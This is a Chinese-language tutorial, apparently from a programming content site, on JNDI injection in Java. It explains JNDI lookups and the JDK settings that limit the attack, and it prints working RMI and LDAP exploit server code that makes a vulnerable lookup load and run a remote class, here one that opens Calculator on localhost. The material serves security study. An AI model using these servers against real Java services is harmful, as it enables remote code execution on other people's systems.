我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Java中JNDI注入的实现方法是什么

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Java中JNDI注入的实现方法是什么

这篇文章主要讲解了“Java中JNDI注入的实现方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中JNDI注入的实现方法是什么”吧!

About JNDI

0x01 简介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

0x03 日常使用

其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

0x04 JNDI命名和目录服务

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多,下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

InitialContext类

构造方法:

InitialContext() 构建一个初始上下文。  InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。  InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。 InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

 String url = "http://127.0.0.1:8080";        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。  void add(RefAddr addr) 将地址添加到地址列表的末尾。  void clear() 从此引用中删除所有地址。  RefAddr get(int posn) 检索索引posn上的地址。  RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。  Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。  String getClassName() 检索引用引用的对象的类名。  String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。  String getFactoryClassName() 检索此引用引用对象的工厂的类名。    Object remove(int posn) 从地址列表中删除索引posn上的地址。  int size() 检索此引用中的地址数。  String toString() 生成此引用的字符串表示形式。

JNDI Demo

下面看一段代码,是一段易受JNDI注入攻击的demo

主要是调用的lookup方法中url参数可控,那么可能会导致JNDI注入漏洞的产生。

import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIDemo {        public void Jndi(String url) throws NamingException {        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

  • JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIServer {    public static void main(String[] args) throws NamingException {        String url = "rmi://127.0.0.1:1099/ExportObject";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Arrays;public class JNDIExploitServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        //创建Registry        Registry registry = LocateRegistry.createRegistry(1099);        String url = "http://127.0.0.1:8080/";        // 实例化一个Reference尝试为远程对象构造一个引用        Reference reference = new Reference("ExploitObject", "ExploitObject", url);        // 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("ExportObject", referenceWrapper);        System.out.println("Registry&Server Start ...");        //打印别名        System.out.println("Registry List: " + Arrays.toString(registry.list()));    }}

ExploitObject

public class ExploitObject {    static {        try {            Runtime.getRuntime().exec("open -a Calculator");        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        System.out.println("Calc Running ...");    }}

先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

Java中JNDI注入的实现方法是什么

在此期间遇到了几个坑点,记录一下:

  • JDK的限制,测试环境延用了RMI时的JDK7u17

  • 在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh2z3ven.jndi),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh2z3ven/jndi/ExploitObject.java

JNDI+LDAP攻击手法

这里的限制是在8u191之前

copy一段LDAP的Server端代码

LdapServer

import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LdapServer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main(String[] argsx) {        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};        int port = 7777;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

JNDIServer2

public class JNDIServer2 {    public static void main(String[] args) throws NamingException {        String url = "ldap://127.0.0.1:7777/ExploitObject";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

ExploitObject

public class ExploitObject {    static {        try {            Runtime.getRuntime().exec("open -a Calculator");        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        System.out.println("Calc Running ...");    }}

Java中JNDI注入的实现方法是什么

Java中JNDI注入的实现方法是什么

感谢各位的阅读,以上就是“Java中JNDI注入的实现方法是什么”的内容了,经过本文的学习后,相信大家对Java中JNDI注入的实现方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Java中JNDI注入的实现方法是什么

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Java中JNDI注入的实现方法是什么

这篇文章主要讲解了“Java中JNDI注入的实现方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中JNDI注入的实现方法是什么”吧!About JNDI0x01 简介JNDI
2023-06-25

Java使用JNDI连接数据库的实现方法是什么

本篇文章为大家展示了Java使用JNDI连接数据库的实现方法是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。项目背景在项目中本身使用的SQL Server 数据库,某些功能下需要访问Sybase
2023-06-22

java实现多行输入的方法是什么

在Java中实现多行输入的方法有多种,下面列举了其中的两种方法:方法一:使用Scanner类的nextLine()方法```javaimport java.util.Scanner;public class Main {public sta
2023-09-23

android依赖注入的实现方式是什么

Android中依赖注入的实现方式有以下几种:1. 构造函数注入:通过在类的构造函数中传入依赖对象的实例来实现注入。这种方式最为简单直接,但是对于依赖对象多的情况下,构造函数会变得很长。2. Setter方法注入:通过提供一个公开的Sett
2023-10-09

java实现webservice的方法是什么

Java实现WebService的方法主要有以下几种:1. 使用JAX-WS(Java API for XML Web Services):JAX-WS是Java EE中的一部分,它提供了一种简单的方式来创建和部署基于SOAP(Simple
2023-09-13

Java依赖注入的方式是什么

这篇“Java依赖注入的方式是什么”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java依赖注入的方式是什么”文章吧。Spr
2023-07-02

java实现mapreduce的方法是什么

Java实现MapReduce的方法是使用Hadoop框架。Hadoop是一个开源的分布式计算框架,其中包含了MapReduce编程模型。在Java中实现MapReduce,主要步骤如下:1. 编写Mapper类:实现Map函数,将输入数据
2023-08-26

JAVA中swing实现托盘的方法是什么

在JAVA中,可以使用以下步骤来实现托盘功能:1. 导入相关的类和包:```javaimport java.awt.*;import java.awt.event.*;import javax.swing.*;```2. 创建托盘图标:``
2023-09-25

Spring中bean集合注入的方法是什么

这篇文章主要讲解了“Spring中bean集合注入的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Spring中bean集合注入的方法是什么”吧!Spring作为项目中不可缺少的底
2023-07-02

delphi注入进程的方法是什么

Delphi注入进程的方法是通过使用以下函数来实现的:OpenProcess:打开目标进程,获取其进程句柄。VirtualAllocEx:在目标进程中分配一块内存空间,用于存储将要注入的代码。WriteProcessMemory:将需要注入
delphi注入进程的方法是什么
2024-02-29

Mybatis对SQL注入的方法是什么

本篇内容介绍了“Mybatis对SQL注入的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Mybatis聊聊对SQL注入的见解1.
2023-06-22

Mock注入的Dubbo bean方法是什么

这篇文章主要介绍“Mock注入的Dubbo bean方法是什么”,在日常操作中,相信很多人在Mock注入的Dubbo bean方法是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Mock注入的Dubbo
2023-06-19

java实现多态的方法是什么

Java实现多态的方法是通过方法的重写和方法的重载来实现的。方法的重写是指子类重写父类的方法,使得在调用该方法时,根据对象的实际类型来确定具体调用的方法。方法的重载是指在一个类中定义多个同名的方法,但是参数列表不同,根据传入的参数的不同来确
2023-10-26

Web前端中依赖注入的方法是什么

本篇内容介绍了“Web前端中依赖注入的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、什么是IoCIoC 的全称叫做 Inver
2023-06-04

Java排序算法实现的方法是什么

这篇文章主要介绍“Java排序算法实现的方法是什么”,在日常操作中,相信很多人在Java排序算法实现的方法是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Java排序算法实现的方法是什么”的疑惑有所帮助!
2023-06-02

Spring Boot中单例类实现对象的注入方式是什么

本篇内容介绍了“Spring Boot中单例类实现对象的注入方式是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Spring Boot
2023-06-20

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录